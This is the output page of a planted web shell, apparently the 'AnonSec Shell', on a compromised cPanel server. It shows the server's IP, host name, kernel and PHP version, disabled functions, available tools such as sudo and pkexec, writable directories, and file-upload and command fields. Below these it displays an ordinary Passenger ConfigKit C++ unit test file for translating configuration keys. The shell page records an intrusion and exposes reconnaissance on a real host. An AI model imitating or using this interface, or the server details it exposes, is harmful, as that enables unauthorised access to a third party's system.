AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpanel/ea-ruby24/src/passenger-release-6.0.20/test/cxx/ConfigKit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /opt/cpanel/ea-ruby24/src/passenger-release-6.0.20/test/cxx/ConfigKit/TranslationTest.cpp
#include <TestSupport.h>
#include <ConfigKit/Common.h>
#include <ConfigKit/TableTranslator.h>
#include <ConfigKit/PrefixTranslator.h>

using namespace Passenger;
using namespace std;

namespace tut {
	struct ConfigKit_TranslationTest: public TestBase {
	};

	DEFINE_TEST_GROUP(ConfigKit_TranslationTest);

	TEST_METHOD(1) {
		set_test_name("Test TableTranslator document translation");
		ConfigKit::TableTranslator translator;
		Json::Value doc;

		doc["foo"] = 123;
		doc["bar"] = 456;
		translator.add("bar", "main_bar");
		translator.finalize();

		doc = translator.translate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Translating docs works",
			doc["foo"].asInt(), 123);
		ensure_equals("Translating docs works",
			doc["main_bar"].asInt(), 456);

		doc = translator.translate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Translating docs is idempotent",
			doc["foo"].asInt(), 123);
		ensure_equals("Translating docs is idempotent",
			doc["main_bar"].asInt(), 456);

		doc = translator.reverseTranslate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Reverse translating docs works",
			doc["foo"].asInt(), 123);
		ensure_equals("Reverse translating docs works",
			doc["bar"].asInt(), 456);

		doc = translator.reverseTranslate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Reverse translating docs is idempotent",
			doc["foo"].asInt(), 123);
		ensure_equals("Reverse translating docs is idempotent",
			doc["bar"].asInt(), 456);
	}

	TEST_METHOD(2) {
		set_test_name("Test TableTranslator error translation");
		ConfigKit::TableTranslator translator;
		ConfigKit::Error error("Key {{foo}} is invalid when {{bar}} is given");
		vector<ConfigKit::Error> errors;
		errors.push_back(error);

		translator.add("bar", "main_bar");
		translator.finalize();

		errors = translator.translate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Translating errors works",
			errors[0].getMessage(),
			"Key foo is invalid when main_bar is given");

		errors = translator.translate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Translating errors is idempotent",
			errors[0].getMessage(),
			"Key foo is invalid when main_bar is given");

		errors = translator.reverseTranslate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Reverse translating errors works",
			errors[0].getMessage(),
			"Key foo is invalid when bar is given");

		errors = translator.reverseTranslate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Reverse translating errors is idempotent",
			errors[0].getMessage(),
			"Key foo is invalid when bar is given");
	}

	TEST_METHOD(5) {
		set_test_name("Test PrefixTranslator document translation");
		ConfigKit::PrefixTranslator translator("main_");
		Json::Value doc;

		doc["main_foo"] = 123;
		doc["main_bar"] = 456;

		doc = translator.translate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Translating docs works",
			doc["foo"].asInt(), 123);
		ensure_equals("Translating docs works",
			doc["bar"].asInt(), 456);

		doc = translator.translate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Translating docs is idempotent",
			doc["foo"].asInt(), 123);
		ensure_equals("Translating docs is idempotent",
			doc["bar"].asInt(), 456);

		doc = translator.reverseTranslate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Reverse translating docs works",
			doc["main_foo"].asInt(), 123);
		ensure_equals("Reverse translating docs works",
			doc["main_bar"].asInt(), 456);

		doc = translator.reverseTranslate(doc);
		ensure_equals(doc.size(), 2u);
		ensure_equals("Reverse translating docs is idempotent",
			doc["main_foo"].asInt(), 123);
		ensure_equals("Reverse translating docs is idempotent",
			doc["main_bar"].asInt(), 456);
	}

	TEST_METHOD(6) {
		set_test_name("Test PrefixTranslator error translation");
		ConfigKit::PrefixTranslator translator("main_");
		ConfigKit::Error error("Key {{main_foo}} is invalid when {{main_bar}} is given");
		vector<ConfigKit::Error> errors;
		errors.push_back(error);

		errors = translator.translate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Translating errors works",
			errors[0].getMessage(),
			"Key foo is invalid when bar is given");

		errors = translator.translate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Translating errors is idempotent",
			errors[0].getMessage(),
			"Key foo is invalid when bar is given");

		errors = translator.reverseTranslate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Reverse translating errors works",
			errors[0].getMessage(),
			"Key main_foo is invalid when main_bar is given");

		errors = translator.reverseTranslate(errors);
		ensure_equals(errors.size(), 1u);
		ensure_equals("Reverse translating errors is idempotent",
			errors[0].getMessage(),
			"Key main_foo is invalid when main_bar is given");
	}
}

Anon7 - 2022
AnonSec Team